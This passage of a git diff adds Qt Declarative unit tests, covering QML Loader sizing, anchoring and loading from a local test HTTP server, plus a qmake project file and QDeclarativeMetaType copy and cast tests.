+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ loader->setSource(TEST_FILE("/Rect120x60.qml"));
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+ QCOMPARE(loader->width(), 120.0);
+ QCOMPARE(loader->height(), 60.0);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::anchoredLoader()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/AnchoredLoader.qml"));
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(rootItem != 0);
+ QDeclarativeItem *loader = rootItem->findChild<QDeclarativeItem*>("loader");
+ QDeclarativeItem *sourceElement = rootItem->findChild<QDeclarativeItem*>("sourceElement");
+
+ QVERIFY(loader != 0);
+ QVERIFY(sourceElement != 0);
+
+ QCOMPARE(rootItem->width(), 300.0);
+ QCOMPARE(rootItem->height(), 200.0);
+
+ QCOMPARE(loader->width(), 300.0);
+ QCOMPARE(loader->height(), 200.0);
+
+ QCOMPARE(sourceElement->width(), 300.0);
+ QCOMPARE(sourceElement->height(), 200.0);
+}
+
+void tst_QDeclarativeLoader::sizeLoaderToItem()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/SizeToItem.qml"));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+ QCOMPARE(loader->width(), 120.0);
+ QCOMPARE(loader->height(), 60.0);
+
+ // Check resize
+ QDeclarativeItem *rect = qobject_cast<QDeclarativeItem*>(loader->item());
+ QVERIFY(rect);
+ rect->setWidth(150);
+ rect->setHeight(45);
+ QCOMPARE(loader->width(), 150.0);
+ QCOMPARE(loader->height(), 45.0);
+
+ // Check explicit width
+ loader->setWidth(200.0);
+ QCOMPARE(loader->width(), 200.0);
+ QCOMPARE(rect->width(), 200.0);
+ rect->setWidth(100.0); // when rect changes ...
+ QCOMPARE(rect->width(), 100.0); // ... it changes
+ QCOMPARE(loader->width(), 200.0); // ... but loader stays the same
+
+ // Check explicit height
+ loader->setHeight(200.0);
+ QCOMPARE(loader->height(), 200.0);
+ QCOMPARE(rect->height(), 200.0);
+ rect->setHeight(100.0); // when rect changes ...
+ QCOMPARE(rect->height(), 100.0); // ... it changes
+ QCOMPARE(loader->height(), 200.0); // ... but loader stays the same
+
+ // Switch mode
+ loader->setWidth(180);
+ loader->setHeight(30);
+ QCOMPARE(rect->width(), 180.0);
+ QCOMPARE(rect->height(), 30.0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::sizeItemToLoader()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/SizeToLoader.qml"));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+ QCOMPARE(loader->width(), 200.0);
+ QCOMPARE(loader->height(), 80.0);
+
+ QDeclarativeItem *rect = qobject_cast<QDeclarativeItem*>(loader->item());
+ QVERIFY(rect);
+ QCOMPARE(rect->width(), 200.0);
+ QCOMPARE(rect->height(), 80.0);
+
+ // Check resize
+ loader->setWidth(180);
+ loader->setHeight(30);
+ QCOMPARE(rect->width(), 180.0);
+ QCOMPARE(rect->height(), 30.0);
+
+ // Switch mode
+ loader->resetWidth(); // reset explicit size
+ loader->resetHeight();
+ rect->setWidth(160);
+ rect->setHeight(45);
+ QCOMPARE(loader->width(), 160.0);
+ QCOMPARE(loader->height(), 45.0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::noResize()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/NoResize.qml"));
+ QDeclarativeItem* item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item != 0);
+ QCOMPARE(item->width(), 200.0);
+ QCOMPARE(item->height(), 80.0);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::sizeLoaderToGraphicsWidget()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/SizeLoaderToGraphicsWidget.qml"));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QGraphicsScene scene;
+ scene.addItem(loader);
+
+ QVERIFY(loader != 0);
+ QCOMPARE(loader->width(), 250.0);
+ QCOMPARE(loader->height(), 250.0);
+
+ // Check resize
+ QGraphicsWidget *widget = qobject_cast<QGraphicsWidget*>(loader->item());
+ QVERIFY(widget);
+ widget->resize(QSizeF(150,45));
+ QCOMPARE(loader->width(), 150.0);
+ QCOMPARE(loader->height(), 45.0);
+
+ // Switch mode
+ loader->setWidth(180);
+ loader->setHeight(30);
+ QCOMPARE(widget->size().width(), 180.0);
+ QCOMPARE(widget->size().height(), 30.0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::sizeGraphicsWidgetToLoader()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/SizeGraphicsWidgetToLoader.qml"));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QGraphicsScene scene;
+ scene.addItem(loader);
+
+ QVERIFY(loader != 0);
+ QCOMPARE(loader->width(), 200.0);
+ QCOMPARE(loader->height(), 80.0);
+
+ QGraphicsWidget *widget = qobject_cast<QGraphicsWidget*>(loader->item());
+ QVERIFY(widget);
+ QCOMPARE(widget->size().width(), 200.0);
+ QCOMPARE(widget->size().height(), 80.0);
+
+ // Check resize
+ loader->setWidth(180);
+ loader->setHeight(30);
+ QCOMPARE(widget->size().width(), 180.0);
+ QCOMPARE(widget->size().height(), 30.0);
+
+ // Switch mode
+ loader->resetWidth(); // reset explicit size
+ loader->resetHeight();
+ widget->resize(QSizeF(160,45));
+ QCOMPARE(loader->width(), 160.0);
+ QCOMPARE(loader->height(), 45.0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::noResizeGraphicsWidget()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("/NoResizeGraphicsWidget.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QGraphicsScene scene;
+ scene.addItem(item);
+
+ QVERIFY(item != 0);
+ QCOMPARE(item->width(), 200.0);
+ QCOMPARE(item->height(), 80.0);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::networkRequestUrl()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
+ if (component.isError())
+ qDebug() << component.errors();
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+
+ QTRY_VERIFY(loader->status() == QDeclarativeLoader::Ready);
+
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(loader->property("signalCount").toInt(), 1);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ delete loader;
+}
+
+/* XXX Component waits until all dependencies are loaded. Is this actually possible?
+void tst_QDeclarativeLoader::networkComponent()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory("slowdata", TestHTTPServer::Delay);
+
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray(
+ "import QtQuick 1.0\n"
+ "import \"http://127.0.0.1:14450/\" as NW\n"
+ "Item {\n"
+ " Component { id: comp; NW.SlowRect {} }\n"
+ " Loader { sourceComponent: comp } }")
+ , TEST_FILE(""));
+
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(1));
+ QVERIFY(loader);
+ QTRY_VERIFY(loader->status() == QDeclarativeLoader::Ready);
+
+ QVERIFY(loader->item());
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+
+ delete loader;
+}
+*/
+
+void tst_QDeclarativeLoader::failNetworkRequest()
+{
+ TestHTTPServer server(SERVER_PORT);
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+
+ QTest::ignoreMessage(QtWarningMsg, "http://127.0.0.1:14450/IDontExist.qml: File not found");
+
+ QDeclarativeComponent component(&engine);
+ component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 123; source: \"http://127.0.0.1:14450/IDontExist.qml\"; onLoaded: did_load=456 }"), QUrl::fromLocalFile("http://127.0.0.1:14450/dummy.qml"));
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader != 0);
+
+ QTRY_VERIFY(loader->status() == QDeclarativeLoader::Error);
+
+ QVERIFY(loader->item() == 0);
+ QCOMPARE(loader->progress(), 0.0);
+ QCOMPARE(loader->property("did_load").toInt(), 123);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 0);
+
+ delete loader;
+}
+
+// QTBUG-9241
+void tst_QDeclarativeLoader::deleteComponentCrash()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("crash.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ item->metaObject()->invokeMethod(item, "setLoaderSource");
+
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(item->QGraphicsObject::children().at(0));
+ QVERIFY(loader);
+ QVERIFY(loader->item());
+ QCOMPARE(loader->item()->objectName(), QLatin1String("blue"));
+ QCOMPARE(loader->progress(), 1.0);
+ QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
+ QCOMPARE(static_cast<QGraphicsItem*>(loader)->children().count(), 1);
+ QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml"));
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::nonItem()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml"));
+ QString err = QUrl::fromLocalFile(SRCDIR).toString() + "/data/nonItem.qml:3:1: QML Loader: Loader does not support loading non-visual elements.";
+
+ QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData());
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader);
+ QVERIFY(loader->item() == 0);
+
+ delete loader;
+}
+
+void tst_QDeclarativeLoader::vmeErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml"));
+ QString err = QUrl::fromLocalFile(SRCDIR).toString() + "/data/VmeError.qml:6: Cannot assign object type QObject with no default method";
+ QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData());
+ QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create());
+ QVERIFY(loader);
+ QVERIFY(loader->item() == 0);
+
+ delete loader;
+}
+
+// QTBUG-13481
+void tst_QDeclarativeLoader::creationContext()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("creationContext.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+}
+
+void tst_QDeclarativeLoader::QTBUG_16928()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_16928.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->width(), 250.);
+ QCOMPARE(item->height(), 250.);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::implicitSize()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->width(), 150.);
+ QCOMPARE(item->height(), 150.);
+
+ QCOMPARE(item->property("implHeight").toReal(), 100.);
+ QCOMPARE(item->property("implWidth").toReal(), 100.);
+
+ delete item;
+}
+
+void tst_QDeclarativeLoader::QTBUG_17114()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("QTBUG_17114.qml"));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+
+ QCOMPARE(item->property("loaderWidth").toReal(), 32.);
+ QCOMPARE(item->property("loaderHeight").toReal(), 32.);
+
+ delete item;
+}
+
+QTEST_MAIN(tst_QDeclarativeLoader)
+
+#include "tst_qdeclarativeloader.moc"
diff --git a/tests/auto/declarative/qdeclarativemetatype/qdeclarativemetatype.pro b/tests/auto/declarative/qdeclarativemetatype/qdeclarativemetatype.pro
new file mode 100644
index 00000000..f13250e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemetatype/qdeclarativemetatype.pro
@@ -0,0 +1,11 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativemetatype.cpp
+macx:CONFIG -= app_bundle
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativemetatype/tst_qdeclarativemetatype.cpp b/tests/auto/declarative/qdeclarativemetatype/tst_qdeclarativemetatype.cpp
new file mode 100644
index 00000000..e8ca4444
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemetatype/tst_qdeclarativemetatype.cpp
@@ -0,0 +1,387 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QLocale>
+#include <QPixmap>
+#include <QBitmap>
+#include <QPen>
+#include <QTextLength>
+#include <QMatrix4x4>
+#include <QVector2D>
+#include <QVector3D>
+#include <QVector4D>
+#include <QQuaternion>
+#include <qdeclarative.h>
+
+#include <private/qdeclarativemetatype_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativemetatype : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativemetatype() {}
+
+private slots:
+ void initTestCase();
+
+ void copy();
+
+ void qmlParserStatusCast();
+ void qmlPropertyValueSourceCast();
+ void qmlPropertyValueInterceptorCast();
+
+ void isList();
+
+ void defaultObject();
+};
+
+class TestType : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int foo READ foo)
+
+ Q_CLASSINFO("DefaultProperty", "foo")
+public:
+ int foo() { return 0; }
+};
+QML_DECLARE_TYPE(TestType);
+
+class ParserStatusTestType : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ void classBegin(){}
+ void componentComplete(){}
+ Q_CLASSINFO("DefaultProperty", "foo") // Missing default property
+ Q_INTERFACES(QDeclarativeParserStatus)
+};
+QML_DECLARE_TYPE(ParserStatusTestType);
+
+class ValueSourceTestType : public QObject, public QDeclarativePropertyValueSource
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+public:
+ virtual void setTarget(const QDeclarativeProperty &) {}
+};
+QML_DECLARE_TYPE(ValueSourceTestType);
+
+class ValueInterceptorTestType : public QObject, public QDeclarativePropertyValueInterceptor
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueInterceptor)
+public:
+ virtual void setTarget(const QDeclarativeProperty &) {}
+ virtual void write(const QVariant &) {}
+};
+QML_DECLARE_TYPE(ValueInterceptorTestType);
+
+
+#define COPY_TEST(cpptype, metatype, value, defaultvalue) \
+{ \
+ cpptype v = (value); cpptype v2 = (value); \
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType:: metatype, &v, 0)); \
+ QCOMPARE((cpptype)(v),(cpptype)(defaultvalue)); \
+ QVERIFY(v == (defaultvalue)); \
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType:: metatype, &v, &v2)); \
+ QVERIFY(v == (value)); \
+}
+
+#define QT_COPY_TEST(type, value) \
+{ \
+ type v = (value); type v2 = (value); \
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType:: type, &v, 0)); \
+ QVERIFY(v == (type ())); \
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType:: type, &v, &v2)); \
+ QVERIFY(v == (value)); \
+}
+
+void tst_qdeclarativemetatype::initTestCase()
+{
+ qmlRegisterType<TestType>("Test", 1, 0, "TestType");
+ qmlRegisterType<ParserStatusTestType>("Test", 1, 0, "ParserStatusTestType");
+ qmlRegisterType<ValueSourceTestType>("Test", 1, 0, "ValueSourceTestType");
+ qmlRegisterType<ValueInterceptorTestType>("Test", 1, 0, "ValueInterceptorTestType");
+}
+
+void tst_qdeclarativemetatype::copy()
+{
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::Void, 0, 0));
+
+ COPY_TEST(bool, Bool, true, false);
+ COPY_TEST(int, Int, 10, 0);
+ COPY_TEST(unsigned int, UInt, 10, 0);
+ COPY_TEST(long long, LongLong, 10, 0);
+ COPY_TEST(unsigned long long, ULongLong, 10, 0);
+ COPY_TEST(double, Double, 19.2, 0);
+
+ QT_COPY_TEST(QChar, QChar('a'));
+
+ QVariantMap variantMap;
+ variantMap.insert("Hello World!", QVariant(10));
+ QT_COPY_TEST(QVariantMap, variantMap);
+
+ QT_COPY_TEST(QVariantList, QVariantList() << QVariant(19.2));
+ QT_COPY_TEST(QString, QString("QML Rocks!"));
+ QT_COPY_TEST(QStringList, QStringList() << "QML" << "Rocks");
+ QT_COPY_TEST(QByteArray, QByteArray("0x1102DDD"));
+ QT_COPY_TEST(QBitArray, QBitArray(102, true));
+ QDate cd = QDate::currentDate();
+ QT_COPY_TEST(QDate, cd);
+ QTime ct = QTime::currentTime();
+ QT_COPY_TEST(QTime, ct);
+ QDateTime cdt = QDateTime::currentDateTime();
+ QT_COPY_TEST(QDateTime, cdt);
+ QT_COPY_TEST(QUrl, QUrl("http://www.nokia.com"));
+ QT_COPY_TEST(QLocale, QLocale(QLocale::English, QLocale::Australia));
+ QT_COPY_TEST(QRect, QRect(-10, 10, 102, 99));
+ QT_COPY_TEST(QRectF, QRectF(-10.2, 1.2, 102, 99.6));
+ QT_COPY_TEST(QSize, QSize(100, 2));
+ QT_COPY_TEST(QSizeF, QSizeF(20.2, -100234.2));
+ QT_COPY_TEST(QLine, QLine(0, 0, 100, 100));
+ QT_COPY_TEST(QLineF, QLineF(-10.2, 0, 103, 1));
+ QT_COPY_TEST(QPoint, QPoint(-1912, 1613));
+ QT_COPY_TEST(QPointF, QPointF(-908.1, 1612));
+ QT_COPY_TEST(QRegExp, QRegExp("(\\d+)(?:\\s*)(cm|inch)"));
+
+ QVariantHash variantHash;
+ variantHash.insert("Hello World!", QVariant(19));
+ QT_COPY_TEST(QVariantHash, variantHash);
+
+#ifdef QT3_SUPPORT
+ QT_COPY_TEST(QColorGroup, QColorGroup(Qt::red, Qt::red, Qt::red, Qt::red, Qt::red, Qt::red, Qt::red));
+#endif
+
+ QT_COPY_TEST(QFont, QFont("Helvetica", 1024));
+
+ {
+ QPixmap v = QPixmap(100, 100); QPixmap v2 = QPixmap(100, 100);
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QPixmap, &v, 0));
+ QVERIFY(v.size() == QPixmap().size());
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QPixmap , &v, &v2));
+ QVERIFY(v.size() == QPixmap(100,100).size());
+ }
+
+ QT_COPY_TEST(QBrush, QBrush(Qt::blue));
+ QT_COPY_TEST(QColor, QColor("lightsteelblue"));
+ QT_COPY_TEST(QPalette, QPalette(Qt::green));
+
+ {
+ QPixmap icon(100, 100);
+
+ QIcon v = QIcon(icon); QIcon v2 = QIcon(icon);
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QIcon, &v, 0));
+ QVERIFY(v.isNull() == QIcon().isNull());
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QIcon , &v, &v2));
+ QVERIFY(v.isNull() == QIcon(icon).isNull());
+ }
+
+ {
+ QImage v = QImage(100, 100, QImage::Format_RGB32);
+ QImage v2 = QImage(100, 100, QImage::Format_RGB32);
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QImage, &v, 0));
+ QVERIFY(v.size() == QImage().size());
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QImage , &v, &v2));
+ QVERIFY(v.size() == QImage(100,100, QImage::Format_RGB32).size());
+ }
+
+ QT_COPY_TEST(QPolygon, QPolygon(QRect(100, 100, 200, 103)));
+ QT_COPY_TEST(QRegion, QRegion(QRect(0, 10, 99, 87)));
+
+ {
+ QBitmap v = QBitmap(100, 100); QBitmap v2 = QBitmap(100, 100);
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QBitmap, &v, 0));
+ QVERIFY(v.size() == QBitmap().size());
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QBitmap , &v, &v2));
+ QVERIFY(v.size() == QBitmap(100,100).size());
+ }
+
+ {
+ QCursor v = QCursor(Qt::SizeFDiagCursor); QCursor v2 = QCursor(Qt::SizeFDiagCursor);
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QCursor, &v, 0));
+ QVERIFY(v.shape() == QCursor().shape());
+ QVERIFY(QDeclarativeMetaType::copy(QMetaType::QCursor , &v, &v2));
+ QVERIFY(v.shape() == QCursor(Qt::SizeFDiagCursor).shape());
+ }
+
+ QT_COPY_TEST(QSizePolicy, QSizePolicy(QSizePolicy::Fixed, QSizePolicy::Maximum));
+ QT_COPY_TEST(QKeySequence, QKeySequence("Ctrl+O"));
+ QT_COPY_TEST(QPen, QPen(Qt::red));
+ QT_COPY_TEST(QTextLength, QTextLength(QTextLength::FixedLength, 10.2));
+ QT_COPY_TEST(QTextFormat, QTextFormat(QTextFormat::ListFormat));
+ QT_COPY_TEST(QMatrix, QMatrix().translate(10, 10));
+ QT_COPY_TEST(QTransform, QTransform().translate(10, 10));
+ QT_COPY_TEST(QMatrix4x4, QMatrix4x4(1,0,2,3,0,1,0,0,9,0,1,0,0,0,10,1));
+ QT_COPY_TEST(QVector2D, QVector2D(10.2, 1));
+ QT_COPY_TEST(QVector3D, QVector3D(10.2, 1, -2));
+ QT_COPY_TEST(QVector4D, QVector4D(10.2, 1, -2, 1.2));
+ QT_COPY_TEST(QQuaternion, QQuaternion(1.0, 10.2, 1, -2));
+
+ int voidValue;
+ COPY_TEST(void *, VoidStar, (void *)&voidValue, (void *)0);
+ COPY_TEST(long, Long, 10, 0);
+ COPY_TEST(short, Short, 10, 0);
+ COPY_TEST(char, Char, 'a', 0);
+ COPY_TEST(unsigned long, ULong, 10, 0);
+ COPY_TEST(unsigned short, UShort, 10, 0);
+ COPY_TEST(unsigned char, UChar, 'a', 0);
+ COPY_TEST(float, Float, 10.5, 0);
+
+ QObject objectValue;
+ QWidget widgetValue;
+ COPY_TEST(QObject *, QObjectStar, &objectValue, 0);
+ COPY_TEST(QWidget *, QWidgetStar, &widgetValue, 0);
+ COPY_TEST(qreal, QReal, 10.5, 0);
+
+ {
+ QVariant tv = QVariant::fromValue(QVariant(10));
+ QVariant v(tv); QVariant v2(tv);
+ QVERIFY(QDeclarativeMetaType::copy(qMetaTypeId<QVariant>(), &v, 0));
+ QVERIFY(v == QVariant());
+ QVERIFY(QDeclarativeMetaType::copy(qMetaTypeId<QVariant>(), &v, &v2));
+ QVERIFY(v == tv);
+ }
+
+ {
+ TestType t; QVariant tv = QVariant::fromValue(&t);
+
+ QVariant v(tv); QVariant v2(tv);
+ QVERIFY(QDeclarativeMetaType::copy(qMetaTypeId<TestType *>(), &v, 0));
+ QVERIFY(v == QVariant::fromValue((TestType *)0));
+ QVERIFY(QDeclarativeMetaType::copy(qMetaTypeId<TestType *>(), &v, &v2));
+ QVERIFY(v == tv);
+ }
+}
+
+void tst_qdeclarativemetatype::qmlParserStatusCast()
+{
+ QVERIFY(QDeclarativeMetaType::qmlType(QVariant::Int) == 0);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>())->parserStatusCast(), -1);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ValueSourceTestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<ValueSourceTestType *>())->parserStatusCast(), -1);
+
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>()) != 0);
+ int cast = QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>())->parserStatusCast();
+ QVERIFY(cast != -1);
+ QVERIFY(cast != 0);
+
+ ParserStatusTestType t;
+ QVERIFY(reinterpret_cast<char *>((QObject *)&t) != reinterpret_cast<char *>((QDeclarativeParserStatus *)&t));
+
+ QDeclarativeParserStatus *status = reinterpret_cast<QDeclarativeParserStatus *>(reinterpret_cast<char *>((QObject *)&t) + cast);
+ QCOMPARE(status, (QDeclarativeParserStatus*)&t);
+}
+
+void tst_qdeclarativemetatype::qmlPropertyValueSourceCast()
+{
+ QVERIFY(QDeclarativeMetaType::qmlType(QVariant::Int) == 0);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>())->propertyValueSourceCast(), -1);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>())->propertyValueSourceCast(), -1);
+
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ValueSourceTestType *>()) != 0);
+ int cast = QDeclarativeMetaType::qmlType(qMetaTypeId<ValueSourceTestType *>())->propertyValueSourceCast();
+ QVERIFY(cast != -1);
+ QVERIFY(cast != 0);
+
+ ValueSourceTestType t;
+ QVERIFY(reinterpret_cast<char *>((QObject *)&t) != reinterpret_cast<char *>((QDeclarativePropertyValueSource *)&t));
+
+ QDeclarativePropertyValueSource *source = reinterpret_cast<QDeclarativePropertyValueSource *>(reinterpret_cast<char *>((QObject *)&t) + cast);
+ QCOMPARE(source, (QDeclarativePropertyValueSource*)&t);
+}
+
+void tst_qdeclarativemetatype::qmlPropertyValueInterceptorCast()
+{
+ QVERIFY(QDeclarativeMetaType::qmlType(QVariant::Int) == 0);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<TestType *>())->propertyValueInterceptorCast(), -1);
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>()) != 0);
+ QCOMPARE(QDeclarativeMetaType::qmlType(qMetaTypeId<ParserStatusTestType *>())->propertyValueInterceptorCast(), -1);
+
+ QVERIFY(QDeclarativeMetaType::qmlType(qMetaTypeId<ValueInterceptorTestType *>()) != 0);
+ int cast = QDeclarativeMetaType::qmlType(qMetaTypeId<ValueInterceptorTestType *>())->propertyValueInterceptorCast();
+ QVERIFY(cast != -1);
+ QVERIFY(cast != 0);
+
+ ValueInterceptorTestType t;
+ QVERIFY(reinterpret_cast<char *>((QObject *)&t) != reinterpret_cast<char *>((QDeclarativePropertyValueInterceptor *)&t));
+
+ QDeclarativePropertyValueInterceptor *interceptor = reinterpret_cast<QDeclarativePropertyValueInterceptor *>(reinterpret_cast<char *>((QObject *)&t) + cast);
+ QCOMPARE(interceptor, (QDeclarativePropertyValueInterceptor*)&t);
+}
+
+void tst_qdeclarativemetatype::isList()
+{
+ QCOMPARE(QDeclarativeMetaType::isList(QVariant::Invalid), false);
+ QCOMPARE(QDeclarativeMetaType::isList(QVariant::Int), false);
+
+ QDeclarativeListProperty<TestType> list;
+
+ QCOMPARE(QDeclarativeMetaType::isList(qMetaTypeId<QDeclarativeListProperty<TestType> >()), true);
+}
+
+void tst_qdeclarativemetatype::defaultObject()
+{
+ QVERIFY(QDeclarativeMetaType::defaultProperty(&QObject::staticMetaObject).name() == 0);
+ QVERIFY(QDeclarativeMetaType::defaultProperty(&ParserStatusTestType::staticMetaObject).name() == 0);
+ QCOMPARE(QString(QDeclarativeMetaType::defaultProperty(&TestType::staticMetaObject).name()), QString("foo"));
+
+ QObject o;
+ TestType t;
+ ParserStatusTestType p;
+
